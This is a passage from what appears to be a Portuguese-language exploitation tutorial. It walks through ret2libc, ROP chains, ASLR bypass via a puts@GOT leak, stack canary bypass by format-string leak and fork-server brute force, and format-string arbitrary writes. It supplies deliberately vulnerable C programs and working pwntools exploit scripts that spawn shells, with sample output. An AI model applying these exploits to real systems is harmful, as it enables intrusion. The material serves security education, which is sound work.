# Compilar SEM proteções (para estudo):
gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack -Wl,-z,norelro

# Compilar COM todas as proteções (produção):
gcc -o prog prog.c -fstack-protector-strong -pie -fPIE -Wl,-z,relro,-z,now -D_FORTIFY_SOURCE=2 -O2

# Verificar proteções de um binário:
checksec --file=./programa

5.8 Tabela de impacto nas técnicas de exploração

Proteção	Shellcode na stack	ret2libc	ROP	Format string
NX	❌ Bloqueia	✅ Funciona	✅ Funciona	✅ Funciona
ASLR	Dificulta (endereço)	❌ Endereço desconhecido	❌ Gadgets desconhecidos	✅ Pode vazar endereços
Canary	❌ Detecta overflow	❌ Detecta overflow	❌ Detecta overflow	✅ Pode vazar canário
PIE	Dificulta	❌ PLT randomizado	❌ Gadgets randomizados	✅ Pode vazar base
Full RELRO	N/A	GOT read-only	GOT read-only	GOT read-only

Na prática: em um binário moderno com todas as proteções, a exploração requer encadeamento. Algo como: format string para leak → calcular endereços → ROP chain com gadgets corretos → bypass de canário se necessário. É um quebra-cabeça, e é exatamente isso que torna a área tão interessante.

6. Return-to-libc (ret2libc) em x86_64

Com NX habilitado, não podemos executar shellcode na stack. A solução: reutilizar código que já é executável, como funções da libc (system(), execve(), etc.).

6.1 A diferença fundamental em x64

No x86 (32 bits), ret2libc era simples porque argumentos eram passados pela stack:

# x86 ret2libc (32 bits) - artigo original
[buffer padding][addr system()][addr exit()][addr "/bin/sh"]
                 ↑ sobrescreve RIP  ↑ retorno de system  ↑ argumento na stack

Em x86_64, o primeiro argumento vai em RDI, não na stack. Precisamos de um gadget ROP que coloque o valor desejado em RDI antes de chamar system():

# x64 ret2libc
[buffer padding][gadget: pop rdi; ret][addr "/bin/sh"][addr system()]
                 ↑ sobrescreve RIP     ↑ vai para RDI   ↑ chamado após pop+ret

6.2 Exemplo prático: ret2libc com NX ativo

/* vuln4.c - ret2libc em x64 */
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <input>\n", argv[0]);
        return 1;
    }
    printf("system() está em: %p\n", (void *)system);  /* Leak proposital para didática */
    vulnerable(argv[1]);
    return 0;
}

# NX ativo, mas sem ASLR, canário e PIE para simplificar
$ gcc -o vuln4 vuln4.c -fno-stack-protector -no-pie -g
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Desabilitar ASLR temporariamente

Passo 1: Encontrar endereços necessários

# Endereço de system()
$ gdb ./vuln4
(gdb) break main
(gdb) run AAAA
(gdb) p system
$1 = {int (const char *)} 0x7ffff7e17290 <__libc_system>

# Endereço de "/bin/sh" na libc
(gdb) find &system, +9999999, "/bin/sh"
0x7ffff7f7c031
(gdb) x/s 0x7ffff7f7c031
0x7ffff7f7c031: "/bin/sh"

Alternativa via CLI:

# Encontrar "/bin/sh" na libc
$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
1b3d88 /bin/sh

# Base da libc (com ASLR desabilitado, verificar em /proc/PID/maps)
$ ldd ./vuln4 | grep libc
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7d80000)

# Endereço absoluto de "/bin/sh" = base_libc + offset
# 0x7ffff7d80000 + 0x1b3d88 = 0x7ffff7f33d88 (exemplo, verificar no seu sistema)

Passo 2: Encontrar gadget “pop rdi; ret”

$ ROPgadget --binary ./vuln4 | grep "pop rdi"
0x0000000000401203 : pop rdi ; ret

# Se não encontrar no binário, buscar na libc:
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x000000000002a3e5 : pop rdi ; ret

Passo 3: Construir o exploit

#!/usr/bin/env python3
"""
Exploit: ret2libc em x86_64
Alvo: vuln4 (NX ativo, sem ASLR/canário/PIE)
Técnica: pop rdi; ret → system("/bin/sh")
"""
import struct
import subprocess

# Endereços (ajustar conforme seu ambiente)
POP_RDI_RET = 0x401203           # gadget no binário
SYSTEM      = 0x7ffff7e17290     # system() na libc
BIN_SH      = 0x7ffff7f7c031     # "/bin/sh" na libc
RET         = 0x40101a           # gadget "ret" para alinhamento

# Offset até saved RIP
OFFSET = 72  # buffer[64] + saved_rbp[8]

# Construir payload
payload = b"A" * OFFSET          # Padding até saved RIP

# IMPORTANTE: Alinhamento de stack!
# A ABI System V exige RSP alinhado em 16 bytes antes de CALL.
# Após nosso overflow, RSP pode estar desalinhado.
# Solução: adicionar um gadget "ret" extra antes da cadeia.
payload += struct.pack("<Q", RET)          # ret (alinha stack em 16 bytes)
payload += struct.pack("<Q", POP_RDI_RET)  # pop rdi; ret
payload += struct.pack("<Q", BIN_SH)       # → RDI = "/bin/sh"
payload += struct.pack("<Q", SYSTEM)       # → chama system("/bin/sh")

print(f"[*] Payload: {len(payload)} bytes")
print(f"[*] Cadeia: ret → pop rdi; ret → '/bin/sh' → system()")

with open("/tmp/payload_ret2libc.bin", "wb") as f:
    f.write(payload)

print("[*] Payload salvo em /tmp/payload_ret2libc.bin")
print("[*] Execute: ./vuln4 $(cat /tmp/payload_ret2libc.bin)")

O problema do alinhamento de stack (Stack Alignment)

Este é um detalhe crucial em x64 que não existia no artigo original. A ABI System V AMD64 exige que o RSP esteja alinhado em 16 bytes no momento de uma instrução call. Funções como system() e printf() usam instruções SSE (como movaps) que requerem alinhamento. Se RSP não estiver alinhado, o programa crashará com SIGSEGV em uma instrução movaps.

Sintoma: O exploit parece correto, os endereços estão certos, mas o programa crasheia dentro de system().

Solução: Adicionar um gadget ret extra no início da cadeia. Cada ret faz pop de 8 bytes, ajustando o alinhamento.

Sem alinhamento (crash):
[padding][pop rdi; ret]["/bin/sh"][system]
          ↑ RSP desalinhado quando system() é chamado

Com alinhamento (funciona):
[padding][ret][pop rdi; ret]["/bin/sh"][system]
          ↑ ret extra alinha RSP

6.3 Automatizando com pwntools

Na prática, usamos pwntools para automatizar a exploração:

#!/usr/bin/env python3
"""
Exploit: ret2libc com pwntools
Alvo: vuln4
"""
from pwn import *

# Configuração
context.binary = elf = ELF('./vuln4')
context.log_level = 'info'

# Encontrar libc automaticamente
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

# Endereços na libc (com ASLR desabilitado)
# Em cenário real, precisaríamos de um leak primeiro
libc.address = 0x7ffff7d80000  # Base da libc (verificar com ldd ou /proc/PID/maps)
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))

log.info(f"pop rdi; ret  = {hex(pop_rdi)}")
log.info(f"ret           = {hex(ret)}")
log.info(f"system()      = {hex(system_addr)}")
log.info(f"/bin/sh       = {hex(bin_sh_addr)}")

# Payload
offset = 72
payload = b"A" * offset
payload += p64(ret)          # Alinhamento
payload += p64(pop_rdi)      # pop rdi; ret
payload += p64(bin_sh_addr)  # RDI = "/bin/sh"
payload += p64(system_addr)  # system("/bin/sh")

# Executar
p = process(['./vuln4', payload])
p.interactive()

$ pip install pwntools  # Se não estiver instalado
$ python3 exploit_vuln4.py
[*] '/tmp/vuln4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
[+] Starting local process './vuln4': pid 644501
[+] system() leaked: 0x7f25b09a9790
[+] libc base: 0x7f25b0955000
[*] pop rdi; ret = 0x7f25b097f9b7
[*] /bin/sh      = 0x7f25b0affea4
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$ whoami
kali

7. Return-Oriented Programming (ROP)

ROP é a evolução natural do ret2libc. Em vez de chamar uma única função, encadeamos múltiplos gadgets (pequenos trechos de código que terminam em ret) para construir computação arbitrária.

7.1 O que é um gadget?

Um gadget é uma sequência de instruções que termina com ret. Quando o ret é executado, o próximo endereço na stack é carregado em RIP, permitindo encadear gadgets sequencialmente.

; Exemplos de gadgets úteis:
pop rdi; ret          ; Carrega valor da stack em RDI
pop rsi; ret          ; Carrega valor da stack em RSI
pop rdx; ret          ; Carrega valor da stack em RDX
pop rax; ret          ; Carrega valor da stack em RAX
mov [rdi], rsi; ret   ; Write-what-where
syscall; ret          ; Executa syscall
xor eax, eax; ret    ; Zera RAX

7.2 Como funciona o encadeamento

A stack funciona como um “programa” para a ROP chain:

RSP →  ┌─────────────────────┐
       │ addr gadget_1       │ → pop rdi; ret
       ├─────────────────────┤
       │ valor para RDI      │ → 0x00000000deadbeef
       ├─────────────────────┤
       │ addr gadget_2       │ → pop rsi; ret
       ├─────────────────────┤
       │ valor para RSI      │ → 0x0000000000000000
       ├─────────────────────┤
       │ addr gadget_3       │ → pop rdx; ret
       ├─────────────────────┤
       │ valor para RDX      │ → 0x0000000000000000
       ├─────────────────────┤
       │ addr gadget_4       │ → pop rax; ret
       ├─────────────────────┤
       │ valor para RAX      │ → 59 (execve)
       ├─────────────────────┤
       │ addr gadget_5       │ → syscall
       └─────────────────────┘

Cada ret faz pop RIP da stack, avançando RSP e executando o próximo gadget.

7.3 Encontrando gadgets

# ROPgadget - ferramenta principal
$ ROPgadget --binary ./programa
$ ROPgadget --binary ./programa --ropchain  # Gera chain automática
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

# ropper - alternativa
$ ropper --file ./programa --search "pop rdi"
$ ropper --file ./programa --chain execve

# one_gadget - encontra gadgets "mágicos" na libc que dão shell diretamente
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

7.4 Exemplo: ROP chain para execve(“/bin/sh”, NULL, NULL)

/* vuln5.c - Alvo para ROP */
#include <stdio.h>
#include <unistd.h>

void vulnerable() {
    char buffer[64];
    printf("Digite algo: ");
    read(STDIN_FILENO, buffer, 256);  /* Overflow! Lê 256 bytes em buffer de 64 */
}

int main() {
    vulnerable();
    return 0;
}

$ gcc -o vuln5 vuln5.c -fno-stack-protector -no-pie -g
# NX ativo (padrão), sem canário, sem PIE

Note que usamos read() em vez de strcpy(). Isso é importante: read() não para em null bytes, permitindo endereços com \x00 no payload.

Exploit com ROP chain via syscall

#!/usr/bin/env python3
"""
Exploit: ROP chain para execve("/bin/sh", NULL, NULL) via syscall
Alvo: vuln5 (NX ativo, sem ASLR/canário/PIE)
"""
from pwn import *

context.binary = elf = ELF('./vuln5')
context.log_level = 'info'

# Encontrar gadgets no binário e na libc
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Com ASLR desabilitado, base da libc é fixa
# Verificar: ldd ./vuln5
libc.address = 0x7ffff7d80000  # Ajustar!

# Gadgets necessários para execve syscall:
# RAX = 59 (número da syscall execve)
# RDI = ponteiro para "/bin/sh"
# RSI = NULL (argv)
# RDX = NULL (envp)
# + instrução syscall

rop_libc = ROP(libc)

pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop_libc.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = rop_libc.find_gadget(['pop rdx', 'pop rbx', 'ret'])  # Comum em libc moderna
pop_rax = rop_libc.find_gadget(['pop rax', 'ret'])[0]
syscall_ret = rop_libc.find_gadget(['syscall', 'ret'])[0]

bin_sh = next(libc.search(b'/bin/sh'))

log.info(f"pop rdi; ret     = {hex(pop_rdi)}")
log.info(f"pop rsi; ret     = {hex(pop_rsi)}")
log.info(f"pop rax; ret     = {hex(pop_rax)}")
log.info(f"syscall; ret     = {hex(syscall_ret)}")
log.info(f"/bin/sh          = {hex(bin_sh)}")

# Construir ROP chain
offset = 72  # buffer[64] + saved_rbp[8]

payload = b"A" * offset

# execve("/bin/sh", NULL, NULL)
payload += p64(pop_rdi)
payload += p64(bin_sh)       # RDI = "/bin/sh"
payload += p64(pop_rsi)
payload += p64(0)            # RSI = NULL
payload += p64(pop_rax)
payload += p64(59)           # RAX = 59 (execve)

# Para RDX, pode ser que precise de pop rdx; pop rbx; ret (libc moderna)
if pop_rdx_rbx:
    payload += p64(pop_rdx_rbx[0])
    payload += p64(0)        # RDX = NULL
    payload += p64(0)        # RBX = lixo (consumido pelo pop rbx)

payload += p64(syscall_ret)  # syscall!

# Executar
p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
p.interactive()

7.5 ROP com pwntools automático

O pwntools pode construir ROP chains automaticamente:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln5')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7d80000

rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

log.info(f"ROP chain:\n{rop.dump()}")

offset = 72
payload = b"A" * offset + rop.chain()

p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
p.interactive()

Na prática, a execução fica assim (usando o vuln4 que tem leak de system() pra simplificar):

$ python3 exploit_rop.py
[*] '/tmp/vuln4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
[+] Starting local process './vuln4': pid 721534
[+] system() leaked: 0x7ffff7e01790
[+] libc base: 0x7ffff7dad000
[*] pop rdi; ret = 0x7ffff7dd79b7
[*] /bin/sh      = 0x7ffff7f57ea4
[+] ROP chain executada! Shell obtido:
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$

NX ativo, stack não-executável, e mesmo assim obtivemos shell. Isso é o poder do ROP: reutilizar código existente em vez de injetar código novo.

7.6 Gadgets úteis e onde encontrá-los

Gadget	Uso	Onde encontrar
`pop rdi; ret`	Controlar 1º argumento	Quase sempre no binário ou libc
`pop rsi; pop r15; ret`	Controlar 2º argumento	Comum em binários (csu_init)
`pop rdx; ret`	Controlar 3º argumento	Raro no binário, comum na libc
`pop rax; ret`	Controlar número de syscall	Libc
`syscall; ret`	Executar syscall	Libc
`ret`	Alinhamento de stack	Em qualquer lugar
`leave; ret`	Stack pivot	Comum
`mov [rdi], rsi; ret`	Write-what-where	Libc (raro, mas existe)
`xchg rax, rdi; ret`	Mover retorno para argumento	Libc

7.7 __libc_csu_init gadgets (técnica universal)

Em binários compilados com GCC, a função __libc_csu_init contém gadgets universais que permitem controlar RDI, RSI e RDX:

; Gadget 1 (pop registers):
0x40120a:  pop rbx
           pop rbp
           pop r12
           pop r13
           pop r14
           pop r15
           ret

; Gadget 2 (call com controle de args):
0x4011f0:  mov rdx, r14    ; RDX = R14
           mov rsi, r13    ; RSI = R13
           mov edi, r12d   ; EDI = R12 (32 bits!)
           call [r15+rbx*8] ; Chama função via ponteiro
           add rbx, 1
           cmp rbp, rbx
           jne 0x4011f0
           ; ... cai no gadget 1 novamente

Esta técnica (chamada ret2csu) permite controlar os 3 primeiros argumentos de qualquer função, usando apenas gadgets do próprio binário (sem depender da libc).

Nota: Em binários compilados com GCC 12+, __libc_csu_init pode não estar presente. Verificar com objdump -d programa | grep csu.

8. Bypass de ASLR: Information Leak

Até agora desabilitamos ASLR pra simplificar. Na vida real, ASLR está sempre ativo. Pra contornar isso, precisamos vazar um endereço em runtime e calcular os demais por offset.

8.1 O conceito: leak → calculate → exploit

Vazar endereço de uma função da libc (ex: puts@GOT)
Calcular base da libc: base = endereço_vazado - offset_na_libc
Calcular endereços de system(), "/bin/sh", gadgets
Executar segunda fase do exploit com endereços corretos

Isso geralmente requer duas interações com o programa (ou um loop):

Primeira passagem: vazar endereço, retornar para main() ou vulnerable()
Segunda passagem: enviar payload final com endereços calculados

8.2 Exemplo: leak via puts@PLT

/* vuln6.c - Alvo para leak + ret2libc com ASLR */
#include <stdio.h>
#include <unistd.h>

void vulnerable() {
    char buffer[64];
    puts("Digite algo:");
    read(STDIN_FILENO, buffer, 256);
}

int main() {
    vulnerable();
    return 0;
}

# Compilar SEM PIE (endereços do binário fixos) mas COM ASLR ativo
$ gcc -o vuln6 vuln6.c -fno-stack-protector -no-pie -g
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space  # ASLR ativo

Estratégia:

Usar puts@PLT (endereço fixo, pois sem PIE) para imprimir o conteúdo de puts@GOT (que contém o endereço real de puts na libc, resolvido em runtime)
Retornar para main() para ter uma segunda chance de enviar payload
Calcular base da libc e enviar ret2libc

GOT e PLT explicados

PLT (Procedure Linkage Table): Stub de código no binário que redireciona para a função real na libc. Endereço fixo (sem PIE).
GOT (Global Offset Table): Tabela de ponteiros que contém os endereços reais das funções na libc (preenchida pelo dynamic linker em runtime).

Programa chama puts("hello"):
  → call puts@PLT (0x401030)     ← endereço fixo no binário
    → jmp [puts@GOT] (0x404018) ← ponteiro para puts real na libc
      → puts na libc (0x7f?????)  ← endereço randomizado pelo ASLR

Se conseguirmos ler o conteúdo de puts@GOT, obtemos o endereço real de puts na libc!

Exploit completo com leak de ASLR

#!/usr/bin/env python3
"""
Exploit: ASLR bypass via GOT leak + ret2libc
Alvo: vuln6 (ASLR ativo, NX ativo, sem canário, sem PIE)
Técnica: Leak puts@GOT → calcular base libc → ret2libc
"""
from pwn import *

# Configuração
context.binary = elf = ELF('./vuln6')
context.log_level = 'info'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Endereços fixos no binário (sem PIE)
PUTS_PLT = elf.plt['puts']       # puts@PLT - chama puts
PUTS_GOT = elf.got['puts']       # puts@GOT - contém endereço real
MAIN     = elf.symbols['main']   # main() - para retornar e ter 2ª chance
POP_RDI  = 0x401203              # pop rdi; ret (ROPgadget --binary ./vuln6)
RET      = 0x40101a              # ret (alinhamento)

OFFSET = 72  # buffer[64] + saved_rbp[8]

def exploit():
    # p = process('./vuln6')
    p = process('./vuln6')

    # ═══════════════════════════════════════════
    # FASE 1: Leak do endereço real de puts na libc
    # ═══════════════════════════════════════════
    log.info("Fase 1: Vazando endereço de puts@GOT...")

    payload1 = b"A" * OFFSET
    payload1 += p64(POP_RDI)      # pop rdi; ret
    payload1 += p64(PUTS_GOT)     # RDI = &puts@GOT (endereço a ser impresso)
    payload1 += p64(PUTS_PLT)     # Chama puts(puts@GOT) → imprime endereço real
    payload1 += p64(MAIN)         # Retorna para main() → segunda chance

    p.recvuntil(b"Digite algo:\n")
    p.send(payload1)

    # Receber o leak
    leaked_bytes = p.recvline().strip()
    leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
    log.success(f"puts@libc leaked: {hex(leaked_puts)}")

    # ═══════════════════════════════════════════
    # FASE 2: Calcular base da libc e endereços
    # ═══════════════════════════════════════════
    libc.address = leaked_puts - libc.symbols['puts']
    log.success(f"libc base: {hex(libc.address)}")

    system_addr = libc.symbols['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))
    log.info(f"system(): {hex(system_addr)}")
    log.info(f"/bin/sh:  {hex(bin_sh_addr)}")

    # ═══════════════════════════════════════════
    # FASE 3: ret2libc com endereços corretos
    # ═══════════════════════════════════════════
    log.info("Fase 3: Enviando ret2libc payload...")

    payload2 = b"A" * OFFSET
    payload2 += p64(RET)           # Alinhamento de stack
    payload2 += p64(POP_RDI)       # pop rdi; ret
    payload2 += p64(bin_sh_addr)   # RDI = "/bin/sh"
    payload2 += p64(system_addr)   # system("/bin/sh")

    p.recvuntil(b"Digite algo:\n")
    p.send(payload2)

    # ═══════════════════════════════════════════
    # Shell!
    # ═══════════════════════════════════════════
    log.success("Shell obtido!")
    p.interactive()

if __name__ == "__main__":
    exploit()

8.3 Execução

$ python3 exploit_vuln6.py
[*] '/tmp/vuln6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
[+] Starting local process './vuln6': pid 644825
[*] Fase 1: Vazando puts@GOT...
[+] puts@libc leaked: 0x7f89bba81060
[+] libc base: 0x7f89bb9ff000
[*] system(): 0x7f89bba53790
[*] /bin/sh:  0x7f89bbba9ea4
[*] Fase 3: Enviando ret2libc...
[+] ASLR bypassed! Shell obtido: uid=1000(kali) gid=1000(kali) groups=1000(kali)
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

ASLR bypassed! Mesmo com endereços randomizados, o leak nos permite calcular tudo.

8.4 Outras técnicas de leak

Técnica	Quando usar
puts/printf@PLT para imprimir GOT	Binário sem PIE, tem puts/printf no PLT
Format string (`%p`, `%lx`)	Programa usa printf com input controlável
Partial overwrite	PIE ativo, mas últimos 12 bits são fixos
Brute force (32 bits)	Apenas em x86, impraticável em x64
Stack leak via over-read	Buffer adjacente a ponteiro na stack
Heap leak	Use-after-free, double free

8.5 Identificando a versão da libc

Com um ou mais endereços vazados, podemos identificar a versão exata da libc:

# Ferramenta online: https://libc.blukat.me/
# Ferramenta local:
$ pip install LibcSearcher

# Ou usar o banco de dados do pwntools:
# from pwn import *
# libc = LibcSearcher('puts', leaked_puts_addr)

Os últimos 3 nibbles (12 bits) de um endereço de função na libc são fixos (alinhamento de página). Isso permite identificar a versão da libc mesmo sem acesso ao arquivo.

9. Bypass de Stack Canary

O canário é a última barreira antes do saved RIP. Se não conseguirmos contorná-lo, o overflow é detectado e o programa aborta.

9.1 Técnica: Leak do canário via format string

Se o programa tem uma vulnerabilidade de format string antes do overflow, podemos vazar o canário:

/* vuln7.c - Canário + format string leak */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vulnerable() {
    char name[32];
    char buffer[64];

    printf("Seu nome: ");
    read(STDIN_FILENO, name, 31);
    printf("Olá, ");
    printf(name);  /* FORMAT STRING VULNERABILITY! */
    printf("\n");

    printf("Mensagem: ");
    read(STDIN_FILENO, buffer, 256);  /* BUFFER OVERFLOW! */
}

int main() {
    vulnerable();
    return 0;
}

$ gcc -o vuln7 vuln7.c -no-pie -g
# Stack canary ATIVO (padrão), NX ativo, sem PIE

Encontrando o canário na stack

O canário está entre as variáveis locais e o saved RBP. Podemos usar %p para vazar valores da stack:

$ ./vuln7
Seu nome: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Olá, 0x7fffffffde10.0x1f.(nil).0x7ffff7e1a992.0x7fffffffde30.0xa.(nil).
     0xd0a8f2e3b5c71200.0x1.0x7ffff7dd0d90.0x7fffffffdf48.0x401196
                          ↑
                    Este valor parece um canário!
                    (termina em 00, parece aleatório)

O canário em x64 Linux sempre tem o byte menos significativo como \x00. Procuramos um valor de 8 bytes que:

Termina em 00 (byte nulo no LSB)
Parece aleatório (alta entropia)
Está na posição esperada na stack

Exploit com leak de canário

#!/usr/bin/env python3
"""
Exploit: Stack canary bypass via format string leak
Alvo: vuln7 (canário ativo, NX ativo, sem PIE)
"""
from pwn import *

context.binary = elf = ELF('./vuln7')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Offset do canário no format string (descobrir empiricamente)
# Testar: %7$p, %8$p, %9$p... até encontrar valor que termina em 00
CANARY_OFFSET = 11  # Exemplo, ajustar!

def exploit():
    p = process('./vuln7')

    # ═══════════════════════════════════════════
    # FASE 1: Leak do canário via format string
    # ═══════════════════════════════════════════
    p.recvuntil(b"Seu nome: ")
    p.send(f"%{CANARY_OFFSET}$p".encode())  # Vaza o canário

    p.recvuntil(b"Olá, ")
    canary_str = p.recvline().strip()
    canary = int(canary_str, 16)
    log.success(f"Canário vazado: {hex(canary)}")

    # Verificar se parece um canário válido (último byte = 0x00)
    if canary & 0xFF != 0:
        log.warning("Canário não termina em \\x00, offset pode estar errado!")

    # ═══════════════════════════════════════════
    # FASE 2: Overflow preservando o canário
    # ═══════════════════════════════════════════
    # Layout: buffer[64] + canário[8] + saved_rbp[8] + saved_rip[8]
    OFFSET_CANARY = 64
    OFFSET_RIP = OFFSET_CANARY + 8 + 8  # 80 bytes

    # Endereços (sem PIE, fixos)
    POP_RDI = 0x401203  # Ajustar
    RET = 0x40101a
    PUTS_PLT = elf.plt['puts']
    PUTS_GOT = elf.got['puts']
    MAIN = elf.symbols['main']

    payload = b"A" * OFFSET_CANARY
    payload += p64(canary)          # Preserva o canário!
    payload += b"B" * 8             # saved RBP (lixo)
    payload += p64(RET)             # Alinhamento
    payload += p64(POP_RDI)
    payload += p64(PUTS_GOT)
    payload += p64(PUTS_PLT)        # puts(puts@GOT) → leak libc
    payload += p64(MAIN)            # Volta para main

    p.recvuntil(b"Mensagem: ")
    p.send(payload)

    # Receber leak da libc
    leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
    libc.address = leaked - libc.symbols['puts']
    log.success(f"libc base: {hex(libc.address)}")

    # ═══════════════════════════════════════════
    # FASE 3: ret2libc (repetir o processo)
    # ═══════════════════════════════════════════
    # Precisamos vazar o canário novamente (pode ser o mesmo se fork())
    # ou se main() é chamado novamente no mesmo processo

    p.recvuntil(b"Seu nome: ")
    p.send(f"%{CANARY_OFFSET}$p".encode())
    p.recvuntil(b"Olá, ")
    canary2 = int(p.recvline().strip(), 16)

    system_addr = libc.symbols['system']
    bin_sh = next(libc.search(b'/bin/sh'))

    payload2 = b"A" * OFFSET_CANARY
    payload2 += p64(canary2)
    payload2 += b"B" * 8
    payload2 += p64(RET)
    payload2 += p64(POP_RDI)
    payload2 += p64(bin_sh)
    payload2 += p64(system_addr)

    p.recvuntil(b"Mensagem: ")
    p.send(payload2)

    p.interactive()

if __name__ == "__main__":
    exploit()

Quando os offsets estão calibrados, a saída é:

$ python3 exploit_canary.py
[*] Fase 1: Leak do canário via format string
[+] Canário vazado no offset 11: 0x38b2a1c4e7f50900
[*] Fase 2: Overflow preservando canário + leak libc
[+] libc base: 0x7f89bb9ff000
[*] Fase 3: ret2libc com canário correto
[+] Shell obtido!
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

9.2 Técnica: Brute force byte-a-byte (servidores com fork)

Em servidores que usam fork() para atender conexões, o processo filho herda o mesmo canário do pai. Se o servidor não faz execve() após o fork, podemos fazer brute force byte a byte:

def brute_force_canary(p, offset):
    """
    Brute force do canário byte a byte.
    Funciona em servidores fork() sem execve().
    Cada byte tem 256 possibilidades → 8 bytes = 8*256 = 2048 tentativas (máximo).
    Primeiro byte é sempre \x00, então: 7*256 = 1792 tentativas.
    """
    canary = b"\x00"  # Primeiro byte é sempre null

    for byte_pos in range(1, 8):  # Bytes 1-7
        for guess in range(256):
            payload = b"A" * offset
            payload += canary + bytes([guess])

            # Enviar e verificar se o servidor crashou
            try:
                conn = connect_to_server()
                conn.send(payload)
                response = conn.recv(timeout=1)
                if b"stack smashing" not in response:
                    # Byte correto! Servidor não crashou
                    canary += bytes([guess])
                    log.info(f"Byte {byte_pos}: {hex(guess)} → canário parcial: {canary.hex()}")
                    break
                conn.close()
            except:
                conn.close()
                continue

    return u64(canary)

9.3 Outras técnicas de bypass

Técnica	Cenário
Overwrite sem tocar canário	Array index out-of-bounds (pula o canário)
Stack pivot	Redirecionar RSP para região controlada
Thread Local Storage overwrite	Sobrescrever o canário de referência no TLS
Signal handler abuse	Explorar antes da verificação do canário

10. Format String Vulnerabilities em x86_64

Format string bugs são absurdamente poderosos: permitem leitura e escrita arbitrária na memória. Em x64, a mecânica muda um pouco por causa da calling convention.

10.1 O bug

/* Vulnerável */
printf(user_input);      /* Atacante controla o format string! */

/* Seguro */
printf("%s", user_input); /* Format string fixo */

10.2 Leitura de memória (information leak)

Em x64, printf espera argumentos em registradores (RDI, RSI, RDX, RCX, R8, R9) e depois na stack. O format string está em RDI, então:

%1$p → RSI (2º argumento)
%2$p → RDX (3º argumento)
%3$p → RCX (4º argumento)
%4$p → R8 (5º argumento)
%5$p → R9 (6º argumento)
%6$p → primeiro valor na stack
%7$p → segundo valor na stack
…

# Vazar valores da stack
$ ./programa
Input: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Output: 0x7fffffffde10.0x64.0x7ffff7e1a992.(nil).0x7fffffffde30.0xa.
        0x4141414141414141.0x4141414141414141...

10.3 Encontrando o offset do nosso input

# Onde nosso input aparece na stack?
$ ./programa
Input: AAAAAAAA%6$p.%7$p.%8$p.%9$p
Output: AAAAAAAA0x4141414141414141.0x...
#                ↑ Offset 6! Nosso input está no offset 6

Verificação com padrão único:

$ ./programa
Input: ABCDEFGH%6$p
Output: ABCDEFGH0x4847464544434241   # "ABCDEFGH" em little-endian = offset 6

10.4 Escrita arbitrária com %n

O especificador %n escreve o número de bytes impressos até aquele ponto no endereço apontado pelo argumento correspondente.

Em x64, %n escreve 4 bytes, %hn escreve 2 bytes, %hhn escreve 1 byte, %ln escreve 8 bytes.

Estratégia para escrever um valor arbitrário: Usar %hhn (1 byte por vez) para escrever byte a byte no endereço alvo.

#!/usr/bin/env python3
"""
Format string write: escrever valor arbitrário em endereço arbitrário
Técnica: %hhn byte-a-byte
"""
from pwn import *

context.binary = ELF('./vuln_fmt')

def fmt_write(where, what, offset=6):
    """
    Gera payload de format string para escrever 'what' em 'where'.
    offset = posição do nosso input na stack do printf.
    """
    # pwntools tem isso built-in!
    payload = fmtstr_payload(offset, {where: what})
    return payload

# Exemplo: sobrescrever GOT entry de exit() com endereço de win()
target_addr = 0x404028  # exit@GOT
value = 0x401142        # win()

payload = fmt_write(target_addr, value)

10.5 pwntools fmtstr automático

from pwn import *

# Automação completa de format string exploitation
def send_payload(payload):
    p = process('./vuln_fmt')
    p.sendline(payload)
    return p.recvall()

# Descobrir offset automaticamente
autofmt = FmtStr(execute_fmt=send_payload)
log.info(f"Offset encontrado: {autofmt.offset}")

# Escrever valor
autofmt.write(0x404028, 0x401142)  # exit@GOT → win()
autofmt.execute_writes()

10.6 Format string como primitiva universal

Com format string, temos:

Leitura arbitrária (%s com endereço controlado) → leak de canário, libc, PIE base
